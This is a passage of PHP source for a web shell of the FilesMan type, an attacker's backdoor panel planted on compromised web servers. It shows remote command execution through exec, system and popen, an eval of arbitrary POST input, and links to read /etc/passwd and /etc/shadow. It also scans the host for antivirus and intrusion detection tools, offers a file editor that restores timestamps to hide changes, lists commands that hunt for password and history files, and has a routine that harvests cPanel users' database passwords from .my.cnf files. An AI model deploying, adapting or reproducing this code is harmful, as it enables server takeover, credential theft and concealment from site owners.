name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'https://www.exploit-db.com/search/?action=search&description=';
        if (strpos('Linux', $kernel) !== false) {
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('Windows-1251', 'UTF-8', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $asciifnc6) {
            $opt_charsets .= '<option value="' . $asciifnc6 . '" ' . ($_POST['charset'] == $asciifnc6 ? 'selected' : '') . '>' . $asciifnc6 . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Adminer', 'Terminal' => 'Console', 'Mass User' => 'Edituser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Sym Python' => 'Sym', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Bypass' => 'bypas', 'BC' => 'Network');
        if (!empty($GLOBALS['asciifnc5'])) {
            $m['WHM Auto'] = 'Reseller';
        }
        $m['Logout'] = 'Logout';
        $m['Self Remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a></font></th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="https://anon.click/protected/https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#ffffff><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
    }
    function hardFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#ffffff'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
        echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\r\n\r\n\t</body></html>";
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $asciifnc7 = '';
        if (function_exists('exec')) {
            @exec($in, $asciifnc7);
            $asciifnc7 = @join("\n", $asciifnc7);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $asciifnc7 = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $asciifnc7 = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $asciifnc7 = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $asciifnc7 = "";
            while (!@feof($f)) {
                $asciifnc7 .= fread($f, 1024);
            }
            pclose($f);
        } else {
            return "\xe2\x86\xb3 Unable to execute command\n";
        }
        return $asciifnc7 == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $asciifnc7;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#ffb101><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#ffffff><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    function hardScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
            echo serialize($a);
        } else {
            eval($_POST['p1']);
        }
    }
    function prototype($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    function actionSecInfo()
    {
        hardHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules')) {
            showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        }
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo "<br>";
                $temp = array();
                foreach ($userful as $asciifnc6) {
                    if (which($asciifnc6)) {
                        $temp[] = $asciifnc6;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $asciifnc6) {
                    if (which($asciifnc6)) {
                        $temp[] = $asciifnc6;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $asciifnc6) {
                    if (which($asciifnc6)) {
                        $temp[] = $asciifnc6;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
            showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
        }
        echo "</div>";
        hardFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else {
                    header("Content-Type: application/octet-stream");
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        hardHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            hardFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else {
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        }
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                    $oRb = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo "Saved!<br><script>p3_=\"\";</script>";
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\"submit\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#000000><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                break;
            /* (С) 12.2015 mitryz */
            case 'frame':
                $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                if ($frameSrc[0] != '/') {
                    $frameSrc = '/' . $frameSrc;
                }
                if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                    $frameSrc .= '/';
                }
                $frameSrc .= htmlspecialchars($_POST['p1']);
                echo '<iframe frameBorder=0 width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                break;
        }
        echo "</div>";
        hardFooter();
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        }
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\0"));
            if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
        }
        echo "</textarea><table style=\"border:1px solid #000000;background-color:#000000;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
        echo "</form></div><script>d.cf.cmd.focus();</script>";
        hardFooter();
    }
    function actionbypas()
    {
        hardHeader();
        echo "<center><h1>Bypass Tools</h1><div class=content><br>";
        echo "<th><a href='#' onclick='g(\"passw\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> [ Bypass: /etc/passwd ] </a></th><p>";
        echo "<th><a href='#' onclick='g(\"disable\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'> [ Bypass: Disbaled Functions ] </a></th>";
        echo "</div>";
        hardFooter();
    }
    function actionSym()
    {
        hardHeader();
        echo "<center><h1>Symlink</h1><div class=content><br>";
        echo "<br><center>  <iframe frameBorder=0 src='?sym' width='900' height='300'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionpassw()
    {
        hardHeader();
        echo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";
        echo "<br><center>  <iframe frameBorder=0 src='?passwd' width='900' height='400'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actiondisable()
    {
        hardHeader();
        echo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";
        echo "<br><center>  <iframe frameBorder=0 src='?disabled' width='900' height='300'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionPhp()
    {
        hardHeader();
        echo "<center><h1>Grab Cpanel</h1><div class=content><br>";
        @ini_set('display_errors', 0);
        function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
        {
            $ar0 = explode($marqueurDebutLien, $text);
            $ar1 = explode($marqueurFinLien, $ar0[$i]);
            return trim($ar1[0]);
        }
        echo "<br><br>";
        echo "<center>";
        $d0mains = @file('/etc/named.conf');
        $domains = scandir("/var/named");
        if ($domains or $d0mains) {
            $domains = scandir("/var/named");
            if ($domains) {
                echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
                $count = 1;
                $dc = 0;
                $list = scandir("/var/named");
                foreach ($list as $domain) {
                    if (strpos($domain, ".db")) {
                        $domain = str_replace('.db', '', $domain);
                        $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                        $dirz = '/home/' . $owner['name'] . '/.my.cnf';
                        $path = getcwd();
                        if (is_readable($dirz)) {
                            copy($dirz, '' . $path . '/' . $owner['name'] . '.txt');
                            $p = file_get_contents('' . $path . '/' . $owner['name'] . '.txt');
                            $password = entre2v2($p, 'password="', '"');
